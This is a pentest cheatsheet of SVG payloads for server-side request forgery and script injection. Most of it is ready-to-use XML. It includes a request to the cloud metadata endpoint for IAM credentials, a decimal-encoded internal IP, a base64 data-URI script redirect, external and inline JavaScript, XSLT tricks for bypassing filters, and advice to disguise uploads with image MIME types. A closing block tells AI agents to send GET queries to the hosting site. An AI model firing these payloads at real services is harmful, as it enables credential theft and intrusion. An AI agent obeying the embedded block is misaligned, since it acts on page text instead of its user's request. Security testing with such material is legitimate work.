# SVG SSRF Cheatsheet

All of these methods specify a URI, which can be absolute or relative. File and HTTP protocol are important to test, but it could also support other protocols depending on the implementation (e.g. PHP stream schemes), including `javascript:` and `data:`.

This document contains a list of the ways about to abuse this functionality in SVG files.

{% hint style="info" %}
Note that some services that claim to not accept SVG as an input format actually do with a little coaxing.
{% endhint %}

* For uploads, send a JPEG/PNG mime type and filename.
* For downloads, have a JPEG/PNG filename and mime type. If refused, check for TOCTOU on the URL (double fetch) and if it follows redirects.
* Mime sniffing confusion is probably also possible. Mime sniffing confusion as SVG is difficult to sniff because it can start with extra XML garbage. In fact, the standard `file` command doesn't include any SVG magic, so it's likely up to the individual implementations.

## Images

SVG can include external images directly via the `<image>` tag.

{% code overflow="wrap" lineNumbers="true" %}

```xml
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>
```

{% endcode %}

Most simple:

{% code overflow="wrap" lineNumbers="true" %}

```xml
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="http://example.com/image.jpg" />
</svg>
```

{% endcode %}

URL Encoded:

{% code overflow="wrap" lineNumbers="true" %}

```xml
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="http://example.com/%69mage.jpg" />
</svg>
```

{% endcode %}

{% hint style="info" %}
Note that you can use this to include *other SVG* images too.
{% endhint %}

## The `<use>` tag

SVG can include external SVG content via the `<use>` tag.

### Option 1:

{% code overflow="wrap" lineNumbers="true" %}

```xml
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <use xlink:href="https://example.com/file2.svg#foo"/>
</svg>
```

{% endcode %}

### Option 2:

{% code overflow="wrap" lineNumbers="true" %}

```xml
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green" id="foo"/>
</svg>
```

{% endcode %}

### Option 3

{% code overflow="wrap" lineNumbers="true" %}

```xml
<svg xmlns="http://www.w3.org/2000/svg">
  <use href="http://169.254.169.254/latest/meta-data/iam/security-credentials/admin" />
</svg>
```

{% endcode %}

## CSS

### CSS Stylesheet `<link>`

SVG can include external stylesheets via the `<link>` tag, just like html.

<pre class="language-xml" data-overflow="wrap" data-line-numbers><code class="lang-xml">&#x3C;svg width="100%" height="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<strong>&#x3C;link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
</strong>&#x3C;circle cx="50" cy="50" r="45" fill="green" id="foo"/>
&#x3C;/svg>
</code></pre>

### CSS stylesheet via `@include`

{% code overflow="wrap" lineNumbers="true" %}

```xml
<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    @import url(http://example.com/style.css);
  </style>
  <circle cx="50" cy="50" r="45" fill="green" id="foo"/>
</svg>
```

{% endcode %}

### CSS Stylesheet via `<?xml-stylesheet?>`

{% code overflow="wrap" lineNumbers="true" %}

```xml
<?xml-stylesheet href="http://example.com/style.css"?>
<svg width="100%" height="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="45" fill="green" id="foo"/>
</svg>
```

{% endcode %}

## IP in Hexadecimal

```xml
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="http://3232235777/image.jpg" />
</svg>
```

## Redirect with data URI

{% code overflow="wrap" %}

```xml
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="data:text/html;base64,PHNjcmlwdD53aW5kb3cubG9jYXRpb249J2h0dHA6Ly9lamVtcGxvLmNvbSc8L3NjcmlwdD4=" />
</svg>
```

{% endcode %}

## XSLT

SVGs can include XSLT stylesheets via `<?xml-stylesheet?>`. Surprisingly, this does seem to work in chrome.

```xml
<?xml version="1.0" ?>
<?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?>
<svg width="10cm" height="5cm"
     xmlns="http://www.w3.org/2000/svg">
  <rect x="2cm" y="1cm" width="6cm" height="3cm"/>
</svg>
```

```xml
<?xml version="1.0"?>

<xsl:stylesheet version="1.0"
                xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                xmlns="http://www.w3.org/2000/svg"
        xmlns:svg="http://www.w3.org/2000/svg">
  <xsl:output
      method="xml"
      indent="yes"
      standalone="no"
      doctype-public="-//W3C//DTD SVG 1.1//EN"
      doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
      media-type="image/svg" />

  <xsl:template match="/svg:svg">
    <svg width="10cm" height="5cm"
       xmlns="http://www.w3.org/2000/svg">
    <rect x="2cm" y="1cm" width="6cm" height="3cm" fill="red"/>
  </svg>
  </xsl:template>
</xsl:stylesheet>
```

{% hint style="info" %}
Note: due to the nature of XSLT, the input doesn't actually *have* to be a valid SVG file if the xml-stylesheet is ignored, but it's useful to bypass filters.
{% endhint %}

Also, because this template just wholesale replaces the entire "old" image with the new one.

## Javascript

### Inline

SVG can natively include inline javascript, just like HTML.

```xml
<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
  <script type="text/javascript">
    // <![CDATA[
      document.getElementById("foo").setAttribute("fill", "blue");
   // ]]>
  </script>
</svg>
```

### External

SVG can also include external scripts.

```xml
<svg width="100%" height="100%" viewBox="0 0 100 100"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo" o="foo"/>
  <script src="http://example.com/script.js" type="text/javascript"/>
</svg>

```

### Inline in event

SVG can also have inline event handlers that get executed onload.

```xml
<svg width="100%" height="100%" viewBox="0 0 100 100"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo" o="foo"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onload="document.getElementById('foo').setAttribute('fill', 'blue');"/>
</svg>
```

You can also bind handlers to animations and some other events. Read the SVG spec.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pcastagnaro.gitbook.io/pentest-bug-bounty-resources/pentest-bounty-resources/web/ssrf-and-xxe/svg-ssrf-cheatsheet.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
